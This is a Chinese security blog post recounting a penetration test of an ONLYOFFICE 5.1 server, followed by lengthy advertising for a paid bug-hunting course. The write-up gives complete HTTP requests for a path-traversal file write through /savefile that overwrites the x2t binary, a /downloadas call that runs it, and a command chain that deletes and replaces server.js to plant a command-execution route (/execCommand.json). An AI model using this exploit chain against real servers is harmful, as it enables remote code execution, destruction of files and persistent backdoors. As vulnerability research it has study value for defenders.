乐于分享
好东西不私藏

记一次曲折的onlyoffice漏洞利用,成功getshell!

记一次曲折的onlyoffice漏洞利用,成功getshell!

  课程培训

  扫码咨询

专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向,CNVD和EDUSRC漏洞挖掘,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(课程培训限时优惠)。

文章作者:xinca0Zzz

文章来源:https://forum.butian.net/share/4943

01

0x1 记一次曲折的onlyoffice漏洞利用,成功getshell!

前言

某天白天,有位好兄弟突然问我,手上有个授权的目标有无空闲帮忙看看,正好那时的我因为下雨被困室内只能尽点绵薄之力。 后续发现下雨是对的,这次较为曲折的漏洞挖掘和思路拓展让我逐渐生锈的脑子开始了转动(头好痒哦)

渗透阶段

前期一系列的信息收集诸如域名,icp、子域名等等手段暂且不提,反正最终找到了下面的资产

话不多说,直接开始history vuln尝试一波

POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/welcome/111.txt"} HTTP/1.1
Host: xxx
Cookie: LRToken=
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

xxx

哦吼,有戏(开始的我以为已经结束了)

覆盖原始web文件注册路由

传统的onlyoffice利用如下: 项目运行的express的用户为ds, web下的文件所属用户也都为ds,那么可以通过覆盖web的一些文件实现RCE

  1. 覆盖js文件,新增路由实现RCE,但是比较麻烦的是node需要重启才会加载上新增的路由(无法实现)
  2. 通过覆盖模板文件再通过SSTI RCE,覆盖模板文件后不需要重启服务即可利用(未使用模版)
  3. 是否存在命令执行调用elf的路由,通过任意文件写覆盖elf来实现命令执行 这里我们使用3方法来尝试RCE 查看本次项目的onlyoffice是5.1.59版本。去github找到对应源码

在已公布的利用poc里,docbuilder路由实现的方法如下:

调用addTask方法,将生成doc的任务加到队列

在接收到任务后,调用ExecuteTask方法,执行

ExecuteTask方法中,会通过spawnAsync命令执行方法调用/var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder ELF二进制文件来生成文档,docbuilder文件所属用户也是ds,那么可以通过之前的文件写漏洞覆盖掉docbuilder ELF,再通过docbuilder路由触发我们上传覆盖的ELF

利用之路漫漫

然而在执行过程中,死活无法成功执行,迫不得已我只能再去仔细阅读一次源码,看看到底是怎么个事。 找到5.1.5.59版本源码查看一番发现

app.post('/docbuilder', utils.checkClientIp, rawFileParser, (req, res) => {
const licenseInfo = docsCoServer.getLicenseInfo();
if (licenseInfo.type !== constants.LICENSE_RESULT.Success) {
                logger.error('License expired');
                res.sendStatus(402);
return;
            }
            converterService.builder(req, res);
        });

此版本有一个判断,如果licenseInfo类型不为True,则无法执行builder的方法。而在DocsCoServer.js当中,licenseInfo写死为Error,所以无法执行converterService.builder

上述的利用链路就无法使用了(TM的甘),所以还能怎么办呢,这时我的脑子非常的痒,挠的时候无意中发现在源码的bin目录里,还存在一个x2t的elf文件,这时我想如果我们能够上传并覆盖其内容,并能够执行它,是不是就能达到同样的目的。

开始扩展审计

回到触发命令执行的地方,具体看看代码:

functionExecuteTask(task{
var startDate = null;
var curDate = null;
if(clientStatsD) {
    startDate = curDate = newDate();
  }
var resData;
var tempDirs;
var getTaskTime = newDate();
var cmd = task.getCmd();
var dataConvert = new TaskQueueDataConvert(task);
  logger.debug('Start Task(id=%s)', dataConvert.key);
var error = constants.NO_ERROR;
  tempDirs = getTempDir();
let fileTo = task.getToFile();
  dataConvert.fileTo = fileTo ? path.join(tempDirs.result, fileTo) : '';
let isBuilder = cmd.getIsBuilder();
if (cmd.getUrl()) {
    dataConvert.fileFrom = path.join(tempDirs.source, dataConvert.key + '.' + cmd.getFormat());
var isDownload = yield* downloadFile(dataConvert.key, cmd.getUrl(), dataConvert.fileFrom);
if (!isDownload) {
      error = constants.CONVERT_DOWNLOAD;
    }
if(clientStatsD) {
      clientStatsD.timing('conv.downloadFile'newDate() - curDate);
      curDate = newDate();
    }
  } elseif (cmd.getSaveKey()) {
yield* downloadFileFromStorage(cmd.getDocId(), cmd.getDocId(), tempDirs.source);
    logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key);
if(clientStatsD) {
      clientStatsD.timing('conv.downloadFileFromStorage'newDate() - curDate);
      curDate = newDate();
    }
    error = yield* processDownloadFromStorage(dataConvert, cmd, task, tempDirs);
  } elseif (cmd.getForgotten()) {
yield* downloadFileFromStorage(cmd.getDocId(), cmd.getForgotten(), tempDirs.source);
    logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key);
let list = yield utils.listObjects(tempDirs.source, false);
if (list.length > 0) {
      dataConvert.fileFrom = list[0];
var forgottenMarkPath = tempDirs.result + '/' + cfgForgottenFilesName + '.txt';
      fs.writeFileSync(forgottenMarkPath, cfgForgottenFilesName, {encoding'utf8'});
    } else {
      error = constants.UNKNOWN;
    }
  } elseif (isBuilder) {
yield* downloadFileFromStorage(cmd.getDocId(), cmd.getDocId(), tempDirs.source);
    logger.debug('downloadFileFromStorage complete(id=%s)', dataConvert.key);
let list = yield utils.listObjects(tempDirs.source, false);
if (list.length > 0) {
      dataConvert.fileFrom = list[0];
    }
  } else {
    error = constants.UNKNOWN;
  }
var childRes = null;
let isTimeout = false;
if (constants.NO_ERROR === error) {
if(constants.AVS_OFFICESTUDIO_FILE_OTHER_HTMLZIP === dataConvert.formatTo && cmd.getSaveKey() && !dataConvert.mailMergeSend) {
yield utils.pipeFiles(dataConvert.fileFrom, dataConvert.fileTo);
    } else {
var childArgs;
if (cfgArgs.length > 0) {
        childArgs = cfgArgs.trim().replace(/  +/g' ').split(' ');
      } else {
        childArgs = [];
      }
let processPath;
if (!isBuilder) {
        processPath = cfgX2tPath;
let paramsFile = path.join(tempDirs.temp, 'params.xml');
let hiddenXml = dataConvert.serialize(paramsFile);
        childArgs.push(paramsFile);
if (hiddenXml) {
          childArgs.push(hiddenXml);
        }
      } else {
        fs.mkdirSync(path.join(tempDirs.result, 'output'));
        processPath = cfgDocbuilderPath;
        childArgs.push('--all-fonts-path=' + cfgDocbuilderAllFontsPath);
        childArgs.push('--save-use-only-names=' + tempDirs.result + '/output');
        childArgs.push(dataConvert.fileFrom);
      }
let timeoutId;
try {
let spawnAsyncPromise = spawnAsync(processPath, childArgs);
        childRes = spawnAsyncPromise.child;
let waitMS = task.getVisibilityTimeout() * 1000 - (newDate().getTime() - getTaskTime.getTime());
        timeoutId = setTimeout(function() {
          isTimeout = true;
          timeoutId = undefined;
          childRes.stdin.end();
          childRes.stdout.destroy();
          childRes.stderr.destroy();
          childRes.kill();
        }, waitMS);
        childRes = yield spawnAsyncPromise;
      } catch (err) {
let fLog = null === err.status ? logger.error : logger.debug;
        fLog.call(logger, 'error spawnAsync(id=%s)\r\n%s', cmd.getDocId(), err.stack);
        childRes = err;
      }
if (undefined !== timeoutId) {
        clearTimeout(timeoutId);
      }
    }
if(clientStatsD) {
      clientStatsD.timing('conv.spawnSync'newDate() - curDate);
      curDate = newDate();
    }
  }
  resData = yield* postProcess(cmd, dataConvert, tempDirs, childRes, error, isTimeout);
  logger.debug('postProcess (id=%s)', dataConvert.key);
if(clientStatsD) {
    clientStatsD.timing('conv.postProcess'newDate() - curDate);
    curDate = newDate();
  }
if (tempDirs) {
    deleteFolderRecursive(tempDirs.temp);
    logger.debug('deleteFolderRecursive (id=%s)', dataConvert.key);
if(clientStatsD) {
      clientStatsD.timing('conv.deleteFolderRecursive'newDate() - curDate);
      curDate = newDate();
    }
  }
if(clientStatsD) {
    clientStatsD.timing('conv.allconvert'newDate() - startDate);
  }
return resData;
}

以看到spawnAsync方法接受两个参数,processPath为执行的文件路径,childArgs为执行的参数,之前分析docbuilder可知,该方法会接受之前我们添加入队列任务的可执行文件完整路径去进行执行

在进入执行方法前,processPath有个判断,如果isBuilder为false,则为cfgX2tPath,否则为cfgDocBuilderPath

可以看到cfgX2tPath就是x2t文件路径,所以只要满足if (!isBuilder) 就可以执行x2t文件了。

var cmd = task.getCmd();

getCmd : function() {
returnthis['cmd'];
  },

let isBuilder = cmd.getIsBuilder();

getIsBuilder: function() {
returnthis['isbuilder'];
  },

如果task对象里的isbuilder属性也就是cmd对象里的isbuilder属性不存在或者为False,就能够进行x2t的执行流程。

canvasservice.js里:

functioncommandSave(cmd, outputData{
var completeParts = yield* saveParts(cmd, "Editor.bin");
if (completeParts) {
var queueData = getSaveTask(cmd);
yield* docsCoServer.addTask(queueData, constants.QUEUE_PRIORITY_LOW);
  }
  outputData.setStatus('ok');
  outputData.setData(cmd.getSaveKey());
}

commandSave方法(Generator 函数)会使用docsCoServer.addTask将任务添加到执行队列里,需要completeParts为True

functionsaveParts(cmd, filename{
var result = false;
var saveType = cmd.getSaveType();
if (SAVE_TYPE_COMPLETE_ALL !== saveType) {
let ext = pathModule.extname(filename);
    filename = pathModule.basename(filename, ext) + (cmd.getSaveIndex() || '') + ext;
  }
if ((SAVE_TYPE_PART_START === saveType || SAVE_TYPE_COMPLETE_ALL === saveType) && !cmd.getSaveKey()) {
yield* addRandomKeyTaskCmd(cmd);
  }
if (cmd.getUrl()) {
    result = true;
  } else {
var buffer = cmd.getData();
yield storage.putObject(cmd.getSaveKey() + '/' + filename, buffer, buffer.length);
    cmd.data = null;
    result = (SAVE_TYPE_COMPLETE_ALL === saveType || SAVE_TYPE_COMPLETE === saveType);
  }
return result;
}

分析可知,如果cmd对象参数里存在url,则直接返回true,或者如果saveType等于3或者4,也能返回true进入后续执行的逻辑。

downloadAs函数里的协程调度器co会驱动调度我们的commandSave方法,只要满足cmd对象里c属性为save

image.png

接口调用为/downloadas/xx,综合构造只要满足cmd对象里c属性为save,id属性不为空,saveType属性为3或4即可执行x2t文件

漏洞再利用

先覆盖x2t elf文件内容

POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/x2t"} HTTP/1.1
Host: xxx
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

echo "1234" > /var/www/onlyoffice/documentserver/server/welcome/123.txt

调用执行接口:

POST /downloadas/1?cmd={"c":"save","id":"123456","savetype":3} HTTP/1.1
Host: xxx
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

查看结果:

稳定RCE

虽然最终已经可以执行命令了,但是每次执行都要这样三部曲实在过于麻烦,我们可以覆盖server文件,增加一个直接调用命令的路由,这样通过调用自己编写的路由直接RCE更加方便

POST /savefile/1?cmd={"id":1,"outputpath":"../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/x2t"} HTTP/1.1
Host: xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

cp /var/www/onlyoffice/documentserver/server/DocService/sources/server.js /var/www/onlyoffice/documentserver/server/DocService/server.js;rm -rf /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;echo "xxxxx" | base64 -d > /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;/usr/bin/supervisorctl restart onlyoffice-documentserver:docservice

上述请求就是备份原server文件并删除,上传我们添加路由的server.js,利用原本的服务重启express进程(这里需要寻找服务进程地址,篇幅原因省略了),这样我们就能访问接口直接RCE了 执行:

POST /downloadas/1?cmd={"c":"save","id":"123456","savetype":3} HTTP/1.1
Host: xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

RCE:

POST /execCommand.json HTTP/1.1
Host: xxx
Upgrade-Insecure-Requests: 1
cmd: ls
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

至此我的头也不痒了,雨也不下了,晚上正好去江边溜达溜达

02

0x2 培训课程介绍

26

SRC漏洞挖掘培训课程

1.课程价格目前是575(后面也会随着人数越多,涨价)🌟师傅们还可以上车补票,冲冲冲!

2.报名成功送知识星球一个,拉内部小圈子交流群+SRC直播通知群!✨

3.一周2节课程,直播+录播形式,课程内容大家可以看课表,目前是第一期,一次报名永久无限听课!❤️

4.目前是第一期课程,后面比如说开了二、三期,都是不用在花钱的!

5.上课结束后,会把视频录播+课件笔记一起打包发直播群!

6.哔哩哔哩SRC课程公开课,链接🔗直达:

https://space.bilibili.com/642258933

SRC课程详情🔎:学了一堆理论,还是挖不到漏洞?你缺的是实战!

内部小圈子知识星球详情🔎:50 元封顶!渗透攻防 + SRC 漏洞星球限时开放!
欢迎关注公众号:神农Sec,报名咨询添加VX:routing_love
开课快五个月时间,课程目前已经累计加入了960+个学员了,课程培训招生任火热持续中,师傅们对于我们课程感兴趣的,想要学习技术,找工作的可以咨询我报名

课程培训记录📝,每次上车在1-3小时之间,上课包括课程内部群大家交流氛围很好
课程上课笔记课件📒都会打包给师傅们,笔记都非常详细,很多几k价格的培训机构哪怕是课件笔记都没有的,我这里都是下课第一时间把录播+笔记打包发给大家!

平常也都会给学员进行一些项目发布,包括后面的工作、护网内推等,经常上麦交流,大家互相学习,简历优化等。
SRC漏洞挖掘课程培训已经两个星期了,期间也是创建了“回本小群”,希望学员回本越来越多,创建这个群主要是鼓励学员学习进步,以及不定时发小项目!

最后也是希望大家都可以赚钱,找到好工作🎉

培训时间不长,感谢🙏师傅们的喜报,很开心看到师傅们给我分享自己的成果,希望师傅们越来越强!

平常也会分享项目,下面是一些学员项目成果,群里报课的学员都是不抽成的,主要是帮助学员进行回本让大家都可以进步!

上课结束后,会把视频录播+课件笔记一起打包发直播群

「神农安全」知识星球目前已经累计2500+网络安全爱好者的加入!

后面也是小圈子做大起来了,师傅们也都喜欢看我文章,想着给大家教下src漏洞挖掘思路,所以自己花了很长时间做了✨课件和课表,都是纯自己手搓的,大家也可以看下课表的内容。

03

0x3 课程特色

课程主打真实一线SRC漏洞挖掘师傅是如何学习和挖掘SRC漏洞的,让你真正了解SRC漏洞挖掘,助力在岗人员和大学生的能力提升,掌握新的技能树,为下一次跳槽涨薪做好准备。本课程内容覆盖企业SRC、众测项目挖掘、护网HVV红蓝攻防技巧、CVE、CNVD、EDUSRC等平台通杀案例技巧挖掘方法。

本课程适合人群(光看不挖啥也不会)

1、有计算机经验,想从0转行入行的大学生或自学者2、想从CTF比赛/Web或SRC进阶到项目实战的选手3、想参与项目/找工作/提高收入的转型者4、想通过挖SRC赏金做副业的师傅们5、挖SRC漏洞遇到瓶颈的师傅们6、想学习AI安全自动化渗透测试漏洞挖掘的师傅
课程价格:575 元
报课成功的师傅们直接免费送内部小圈:一个知识星球+内部小圈子交流群
1、课程价格真心实惠,绝不割韭菜2、四五百的课程价格让你体会大几千的培训课程内容3、带着大家从0到1,本人上课坚持手搓课件(实战案例+知识体系)4、拒绝使用PPT演讲模式(无实操,很枯燥)
直播培训教学方式
课程一周1-2节课,课程特色涵盖直播多人上麦活跃回答,直播过程中有问题随时解决或私信我。拉群:一个知识星球内部小圈子交流群+课程培训直播通知群。有项目/工作/护网第一时间内推报课的师傅,一对一简历优化,助力在岗人员和大学生的能力提升。
一次报名每期均可永久学习,并且赠送内部「神农安全」知识星球,一对一永久解答、无保留教学!
欢迎关注公众号:神农Sec,报名咨询添加VX:routing_love
课程均为线上交付,报名成功后不支持退款
内部小圈子(知识星球+内部小圈子交流群+知识库)
对内部小圈子感兴趣的师傅们也可以看下下面的这个跳转链接,里面有对小圈子的详细介绍,报名课程成功的师傅们直接免费送一个(直接点击下面直接可以跳转)。
强烈推荐一个永久的SRC挖掘、渗透攻防内部知识库

讲师介绍

id:一个想当文人的黑客

欢迎关注公众号:神农Sec,报名咨询添加VX:routing_love

04

0x4 第一期挖洞培训课表内容

内部圈子介绍(报课赠送)

圈子专注于更新src/红蓝攻防相关:

1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目(一起挣钱)8、不定期有工作招聘内推(工作/护网内推)9、送全国职业技能大赛环境+WP解析(比赛拿奖)10、十个专栏会持续更新~提前续费有优惠,好用不贵很实惠11、每日内部资料分享,内部圈子资料1000+12、联系圈主获取:内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX:routing_love,技术交流+疑问解决

内部圈子专栏介绍

知识星球内部共享资料截屏详情如下

(只要没有特殊情况,每天都保持更新)

05

0x5 优秀学员报喜
下面是最近两个月培训期间,很多优秀学员进行报喜,看到师傅们有收获,也是感到很开心的!拉回本小群,就是为了促进大家学习,在群里发学员成果,也是为了让大家学习优秀的师傅们。
加油,你我皆是黑马!

神农安全公开交流群

有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.